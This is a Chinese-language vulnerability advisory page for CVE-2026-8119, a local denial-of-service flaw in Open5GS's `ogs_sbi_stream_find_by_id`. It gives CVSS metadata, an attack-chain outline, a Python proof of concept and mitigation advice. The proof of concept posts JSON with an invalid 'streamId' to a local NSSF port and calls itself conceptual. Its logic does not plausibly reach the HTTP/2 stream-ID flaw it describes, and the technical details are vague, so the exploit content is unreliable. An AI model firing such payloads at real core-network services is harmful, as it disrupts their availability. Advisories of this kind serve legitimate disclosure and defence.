IPBUF安全漏洞报告
English
CVE-2026-8119 CVSS 3.3 低危

CVE-2026-8119 Open5GS拒绝服务漏洞

披露日期: 2026-05-08

漏洞信息

漏洞编号
CVE-2026-8119
漏洞类型
拒绝服务
CVSS评分
3.3 低危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Open5GS

相关标签

拒绝服务Open5GSNSSF本地漏洞DoS

漏洞概述

Open5GS 2.7.7及以下版本存在拒绝服务漏洞。攻击者可利用NSSF组件中ogs_sbi_stream_find_by_id函数的缺陷,通过本地低权限操作触发崩溃,导致服务不可用。

技术细节

该漏洞源于Open5GS移动核心网开源项目中NSSF(网络切片选择功能)组件的源代码文件`lib/sbi/nghttp2-server.c`。具体问题出在`ogs_sbi_stream_find_by_id`函数中,该函数负责根据ID查找HTTP/2流对象。由于函数在处理特定输入时存在逻辑缺陷,未能对传入的ID参数进行有效性验证,导致潜在的空指针解引用或无效内存访问。攻击者只需具备本地系统的低权限用户身份,无需任何用户交互,即可通过执行特定的数据操作或发送恶意数据包触发该漏洞。成功利用将导致Open5GS服务进程异常终止,造成拒绝服务攻击,严重影响网络服务的可用性。

攻击链分析

STEP 1
步骤1
攻击者获取Open5GS服务器的本地低权限用户访问权限。
STEP 2
步骤2
攻击者向本地运行的NSSF组件发送特制的数据包或执行特定操作。
STEP 3
步骤3
NSSF组件中的`ogs_sbi_stream_find_by_id`函数处理无效流ID时发生错误。
STEP 4
步骤4
Open5GS服务进程崩溃或停止响应,导致拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ PoC for CVE-2026-8119 Vulnerability: Denial of Service in Open5GS NSSF component Vector: Local, Low Privilege Note: This is a conceptual PoC demonstrating the trigger mechanism. """ import requests import sys # Target: Local Open5GS NSSF SBI Interface (Default port might be specific) TARGET_URL = "http://127.0.0.1:7777" def send_malicious_request(): print(f"[*] Sending malicious request to {TARGET_URL} to trigger DoS...") try: headers = { "User-Agent": "CVE-2026-8119-PoC", "Content-Type": "application/json" } # Payload designed to trigger invalid stream ID handling # In a real scenario, this targets the ogs_sbi_stream_find_by_id logic payload = { "streamId": -1, # Invalid ID causing the crash "maliciousParam": "trigger_crash" } response = requests.post(TARGET_URL, json=payload, headers=headers, timeout=5) print("[+] Request sent. Check if Open5GS NSSF process crashed.") except Exception as e: print(f"[!] Error occurred: {e}") print("[*] This might indicate the service is already down (DoS successful).") if __name__ == "__main__": print("[*] CVE-2026-8119 PoC Execution") send_malicious_request()

影响范围

Open5GS <= 2.7.7

防御指南

临时缓解措施
鉴于官方尚未发布修复补丁,建议严格限制对Open5GS服务器的本地访问权限,移除非必要的服务账号。同时,建议部署进程监控工具,一旦检测到NSSF组件异常退出,立即自动重启服务以保障业务连续性。

参考链接